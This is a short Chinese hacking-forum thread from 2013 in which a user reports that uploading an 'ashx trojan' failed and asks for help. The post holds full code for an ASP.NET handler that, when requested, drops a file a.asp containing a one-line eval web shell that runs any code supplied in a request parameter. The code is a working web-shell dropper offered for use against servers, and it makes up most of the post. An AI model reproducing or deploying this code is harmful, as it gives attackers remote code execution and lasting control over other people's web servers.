零点 发表于 2013-12-15 08:51:08

求助:上传asxh马无果

本帖最后由 零点 于 2013-12-15 08:52 编辑

上传asxh马无果

<%@ WebHandler Language="C#" Class="Handler" %> using System;using System.Web;using System.IO;public class Handler : IHttpHandler {



    public void ProcessRequest (HttpContext context) {

      context.Response.ContentType = "text/plain";



      StreamWriter file1= File.CreateText(context.Server.MapPath("a.asp"));

      file1.Write("<%eval request(\"a\")%>");

      file1.Flush();

      file1.Close();



    }



    public bool IsReusable {

      get {

            return false;

      }

    }



}

求大牛帮助

陈可逆 发表于 2013-12-15 18:12:17

页: [1]
查看完整版本: 求助:上传asxh马无果